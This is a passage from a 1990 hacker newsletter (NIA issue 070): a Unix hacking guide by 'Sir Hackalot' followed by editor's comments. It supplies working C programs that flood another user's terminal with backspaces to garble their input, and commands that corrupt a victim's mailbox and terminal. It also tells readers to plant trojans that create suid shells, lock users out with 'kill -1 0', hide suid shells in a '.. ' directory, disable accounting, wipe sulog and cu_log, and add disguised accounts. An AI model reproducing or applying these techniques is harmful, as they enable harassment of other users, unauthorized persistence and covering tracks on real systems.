- struct stat stbuf;
- char psbuf[20], buf[80], window[20], junk[20];
- ?
- FILE *pfp, *popen();
-
- if (argc < 2) {
- printf("usage: hose user [ttyname]\n");
- exit(1);
- }
- him = argv[1];
-
- if (argc > 2)
- histtya = argv[2];
- if ((uf = fopen("/etc/utmp", "r")) == NULL) {
- printf("cannot open /etc/utmp\n");
- exit(1);
- }
- cuserid(me);
- if (me == NULL) {
- printf("Can't find your login name\n");
- exit(1);
- }
- mytty = ttyname(2);
- if (mytty == NULL) {
- printf("Can't find your tty\n");
- exit(1);
- }
- if (stat(mytty, &stbuf) < 0) {
- printf("Can't stat your tty -- This System is bogus.\n");
- }
- if ((stbuf.st_mode&02) == 0) {
- printf("You have write permissions turned off (hehe!).\n");
- }
-
- if (histtya) {
- if (!strncmp(histtya, "/dev/", 5))
- histtya = strrchr(histtya, '/') + 1;
- strcpy(histty, "/dev/");
- strcat(histty, histtya);
- }
- while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
- if (ubuf.ut_name[0] == '\0')
- continue;
- if (!strncmp(ubuf.ut_name, him, NMAX)) {
- ? logcnt++;
- ? if (histty[0]==0) {
- strcpy(histty, "/dev/");
- strcat(histty, ubuf.ut_line);
- }
- if (histtya) {
- if (!strcmp(ubuf.ut_line, histtya))
- goodtty++;
- }
- }
- }
- fclose(uf);
- if (logcnt==0) {
- printf("%s not found! (Not logged in?)\n", him);
- exit(1);
- }
-
- if (histtya==0 && logcnt > 1) {
- printf("%s logged more than once\nwriting to %s\n", him, histty+5);
- }
- if (access(histty, 0) < 0) {
- printf("No such tty? [%s]\n",histty);
- ?? exit(1);
- ? }
- signal(SIGALRM, timout);
- alarm(5);
- if ((tf = fopen(histty, "w")) == NULL)
- goto perm;
- alarm(0);
- if (fstat(fileno(tf), &stbuf) < 0)
- goto perm;
- if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
- goto perm;
- ioctl(0, TCGETA, &oldmode); /* save tty state */
- ioctl(0, TCGETA, &mode);
- sigs(eof);
- uname(&name);
- if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
- if (yn == 1 ) {
- fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
- fclose(tf);
- printf("Critical Error Handler: %s running conflicting process\n",him);
- exit(1);
- }
- fflush(tf);
- mode.c_cc[4] = 1;
- mode.c_cc[5] = 0;
- mode.c_lflag &= ~ICANON;
- ioctl(0, TCSETAW, &mode);
- lastc = '\n';
-
-
- printf("Backspace / Spin Cursor set lose on: %s\n",him);
- while (loop == 0) {
- c1 = '\b';
- write(fileno(tf),&c1,1);
- sleep(5);
- fprintf(tf,"\\\b|\b/\b-\b+\b");
- fflush(tf);
- }
-
-
-
-
- perm:
- printf("Write Permissions denied!\n");
- exit(1);
- }
-
- timout()
- {
-
- printf("Timeout opening their tty\n");
- exit(1);
- }
-
- eof()
- {
- printf("Bye..\n");
- ioctl(0, TCSETAW, &oldmode);
- exit(0);
- }
-
- ex()
- {
- register i;
- sigs(SIG_IGN);
- i = fork();
- if (i < 0) {
- printf("Try again\n");
- goto out;
- }
- if (i == 0) {
- sigs((int (*)())0);
- execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
- exit(0);
- }
- while(wait((int *)NULL) != i)
- ;
- printf("!\n");
- out:
- sigs(eof);
- }
-
- sigs(sig)
- int (*sig)();
- {
- register i;
- for (i=0; signum[i]; i++)
- signal(signum[i], sig);
- }
-
-
-
- What the above is, is a modified version of the standard write command.
- What it does, is spin the cursor once, then backspace once over the
- screen of the user it is run on. All though, it does not physically affect
- input, the user thinks it does. therefore, he garbles input. The sleep(xx)
- can be changed to make the stuff happen more often, or less often.
- If you put your login name in the "YOURNAMEHERE" slot, it will protect you
- from getting hit by it, if someone off a Public access unix leeches the
- executable from your directory.
- You could make a shorter program that does almost the same thing, but
- you have to supply the terminal, observe:
-
- /* Backspace virus, by Sir Hackalot [Phaze] */
- #include <stdio.h>
- #include <fcntl.h>
- main(argc,argv)
- char *argv[];
- int argc;
- {
- int x = 1;
- char *device = "/dev/";
- FILE *histty;
- if (argc == 1) {
- printf("Bafoon. Supply a TTY.\n");
- exit(1);
- }
- strcat(device,argv[1]);
- /* Make the filename /dev/tty.. */
- histty = fopen(device,"a");
- if (histty == NULL) {
- printf("Error opening/writing to tty. Check their perms.\n");
- exit(1);
- }
- printf("BSV - Backspace virus, By Sir Hackalot.\n");
- printf("The Sucker on %s is getting it!\n",device);
- while (x == 1) {
- fprintf(histty,"\b\b");
- fflush(histty);
- sleep(5);
- }
- }
-
- Thats all there is to it. If you can write to their tty, you can use this on
- them. It sends two backspaces to them every approx. 5 seconds. You
- should run this program in the background. (&). Here is an example:
-
- $ who
- sirhack tty11
- loozer tty12
- $ bsv tty12&
- [1] 4566
- BSV - Backspace virus, by Sir Hackalot
- The Sucker on /dev/tty12 is getting it!
- $
-
- Now, it will keep "attacking" him, until he loggs of, or you kill the process
- (which was 4566 -- when you use &, it gives the pid [usually]).
-
- ** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
- method to terminate a line. However, the LF terminates a line in Unix.
- you must STRIP CR's on an ascii upload if you want something you upload
- to an editor to work right. Else, you'll see a ?M at the end of every
- line. I know that sucks, but you just have to compensate for it.
-
- I have a number of other programs that annoy users, but that is enough to
- get your imagination going, provided you are a C programmer. You can annoy
- users other ways. One thing you can do is screw up the user's mailbox.
- The way to do this is to find a binary file (30k or bigger) on the system
- which YOU have access to read. then, do this:
-
- $ cat binary_file | mail loozer
-
- or
-
- $ mail loozer < binary file
-
- That usually will spilt into 2 messages or more. The 1st message will
- have a from line.. (from you ..), but the second WILL NOT! Since it does
- not, the mail reader will keep exiting and giving him an error message until
- it gets fixed.. The way to fix it is to go to the mail box that got hit
- with this trick (usually only the one who got hit (or root) and do this),
- and edit the file, and add a from line.. like
- >From username..
-
- then it will be ok. You can screw the user by "cat"ing a binary to his tty.
- say Loozer is on tty12. You can say..
- $ cat binary_file >/dev/tty12
- $
- It may pause for a while while it outputs it. If you want to resume what
- you were doing instantly, do:
- $ cat binary_file >/dev/tty12&
- [1] 4690
- $
- And he will probably logoff. You can send the output of anything to his
- terminal. Even what YOU do in shell. Like this:
- $ sh >/dev/tty12
- $
- You'll get your prompts, but you won't see the output of any commands, he
- will...
- $ ls
- $ banner Idiot!
- $ echo Dumbass!
- $
- until you type in exit, or hit ctrl-d.
-
-
- There are many many things you can do. You can fake a "write" to someone
- and make them think it was from somewhere on the other side of hell. Be
- creative.
-
- When you are looking for things to do, look for holes, or try to get
- someone to run a trojan horse that makes a suid shell. If you get
- someone to run a trojan that does that, you can run the suid, and log their
- ass off by killing their mother PID. (kill -9 whatever). Or, you can
- lock them out by adding "kill -1 0" to their .profile. On the subject of
- holes, always look for BAD suid bits. On one system thought to be invincible
- I was able to read/modify everyone's mail, because I used a mailer that had
- both the GroupID set, and the UserID set. When I went to shell from it,
- the program instantly changed my Effective ID back to me, so I would not be
- able to do anything but my regular stuff. But it was not designed to change
- the GROUP ID back. The sysop had blundered there. SO when I did an ID
- I found my group to be "Mail". Mailfiles are readble/writeable by the
- user "mail", and the group "mail". I then set up a sgid (set group id) shell
- to change my group id to "mail" when I ran it, and scanned important mail,
- and it got me some good info. So, be on the look out for poor permissions.
-
- Also, after you gain access, you may want to keep it. Some tips on doing so
- is:
- 1. Don't give it out. If the sysadm sees that joeuser logged in 500
- times in one night....then....
- 2. Don't stay on for hours at a time. They can trace you then. Also
- they will know it is irregular to have joeuser on for 4 hours
- after work.
- 3. Don't trash the system. Don't erase important files, and don't
- hog inodes, or anything like that. Use the machine for a specific
- purpose (to leech source code, develop programs, an Email site).
- Dont be an asshole, and don't try to erase everything you can.
- 4. Don't screw with users constantly. Watch their processes and
- run what they run. It may get you good info (snoop!)
- 5. If you add an account, first look at the accounts already in there
- If you see a bunch of accounts that are just 3 letter abbrv.'s,
- then make yours so. If a bunch are "cln, dok, wed" or something,
- don't add one that is "joeuser", add one that is someone's
- full initials.
-
- 6. When you add an account, put a woman's name in for the
- description, if it fits (Meaning, if only companies log on to the
- unix, put a company name there). People do not suspect hackers
- to use women's names. They look for men's names.
- 7. Don't cost the Unix machine too much money. Ie.. don't abuse an
- outdial, or if it controls trunks, do not set up a bunch of dial
- outs. If there is a pad, don't use it unless you NEED it.
- 8. Don't use x.25 pads. Their usage is heavily logged.
- 9. Turn off acct logging (acct off) if you have the access to.
- Turn it on when you are done.
- 10. Remove any trojan horses you set up to give you access when you
- get access.
- 11. Do NOT change the MOTD file to say "I hacked this system" Just
- thought I'd tell you. Many MANY people do that, and lose access
- within 2 hours, if the unix is worth a spit.
- 12. Use good judgement. Cover your tracks. If you use su, clean
- up the sulog.
- 13. If you use cu, clean up the cu_log.
- 14. If you use the smtp bug (wizard/debug), set up a uid shell.
- 15. Hide all suid shells. Here's how:
- goto /usr
- (or any dir)
- do:
- # mkdir ".. "
- # cd ".. "
- # cp /bin/sh ".whatever"
- # chmod a+s ".whatever"
- The "" are NEEDED to get to the directory .. ! It will not show
- up in a listing, and it is hard as hell to get to by sysadms if
- you make 4 or 5 spaces in there (".. "), because all they will
- see in a directory FULL list will be .. and they won't be able to
- get there unless they use "" and know the spacing. "" is used
- when you want to do literals, or use a wildcard as part of a file
- name.
- 16. Don't hog cpu time with password hackers. They really don't work
- well.
-
- 17. Don't use too much disk space. If you archieve something to dl,
- dl it, then kill the archieve.
- 18. Basically -- COVER YOUR TRACKS.
-
- Some final notes:
-
- Now, I hear lots of rumors and stories like "It is getting harder to get
- into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
- when you are dealing with WAN's, such as telenet, tyment, and the Internet,
- but not with local computers not on those networks. Here's the story:
-
- Over the past few years, many small companies have sprung up as VARs
- (Value Added Resellers) for Unix and Hardware, in order to make a fast
- buck. Now, these companies fast talk companies into buying whatever,
- and they proceed in setting up the Unix. Now, since they get paid by
- the hour usaually when setting one up, they spread it out over days....
- during these days, the system is WIDE open (if it has a dialin). Get
- in and add yourself to passwd before the seal it off (if they do..).
- Then again, after the machine is set up, they leave the defaults on the
- system. Why? The company needs to get in, and most VARs cannot use
- unix worth a shit, all they know how to do is set it up, and that is ALL.
- Then, they turn over the system to a company or business that USUALLY
- has no-one that knows what they hell they are doing with the thing, except
- with menus. So, they leave the system open to all...(inadvertedly..),
- because they are not competant. So, you could usually get on, and create
- havoc, and at first they will think it is a bug.. I have seen this
- happen ALL to many times, and it is always the same story...
- The VAR is out for a fast buck, so they set up the software (all they know
- how to do), and install any software packages ordered with it (following
- the step by step instructions). Then they turn it over to the business
- who runs a word processor, or database, or something, un aware that a
- "shell" or command line exists, and they probably don't even know root does.
- So, we will see more and more of these pop up, especially since AT&T is
- now bundling a version of Xwindows with their new System V, and Simultask...
- which will lead to even more holes. You'll find systems local to you
- that are easy as hell to get into, and you'll see what I mean. These
- VARs are really actually working for us. If a security problem arises
- that the business is aware of, they call the VAR to fix it... Of course,
- the Var gets paid by the hour, and leaves something open so you'll get in
- again, and they make more moolahhhh.
-
-
- You can use this phile for whatever you want. I can't stop you. Just
- to learn unix (heh) or whatever. But its YOUR ass if you get caught.
- Always consider the penalties before you attempt something. Sometimes
- it is not worth it, Sometimes it is.
-
- This phile was not meant to be comprehensive, even though it may seem like
- it. I have left out a LOT of techniques, and quirks, specifically to get
- you to learn SOMETHING on your own, and also to retain information so
- I will have some secrets. You may pass this file on, UNMODIFIED, to any
- GOOD H/P BBS. Sysops can add things to the archieve to say where
- it was DL'd from, or to the text viewer for the same purpose. This is
- Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.
-
- -Sir Hackalot of PHAZE
- 1990.
-
- =============================================================================
-
- / /
- / File 08 / NIA070 /
- / Editor's Comments /
- / JD & GOT /
- / /
-
- Well, sorry this one took longer than I expected as I ran into personal
- problems after issue 069 and could not for a bit have totall control over
- what happened.
-
- I regret to inform you that GOT can no longer help me publish this newsletter,
- due to circumstances beyond his and my control. Hopefully he will be back
- and resuming editing in a few months.
-
- Any complaints may go to my address (elisem@nuchat.sccsi.com), please do
- not send them anywhere else. Submissions, questions, and comments
- may be directed to elisem@nuchat.sccsi.com also.
-
- NIA can be found on the CuD Archive Server (Refer: CuD Magazine), Face To
- Face BBS (Refer: 713.242.NUKE) [temporarily down], and Unholy Temple (Refer:
- 408.PRI.VATE). You can also write to my Internet address to be placed on the
- mailling list and to get the current issue.
-
- Also, a message from Montresor (Refer: Face To Face BBS), the board should
- be back up within the next few weeks. Please keep checking.
-
- I thank Mike Godwin and the lawers at EFF for help in dealing with past
- events. Best of luck to ya'll.
-
- Well, there's not much more else to say, 'cept keep livin' by the Golden
- Rule: Always, Always Look _Good_.
-
-
-
- JD n' GOT
- Ignorance, There's No Excuse.
- NIA - Network Information Access
- =============================================================================
-
- Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
-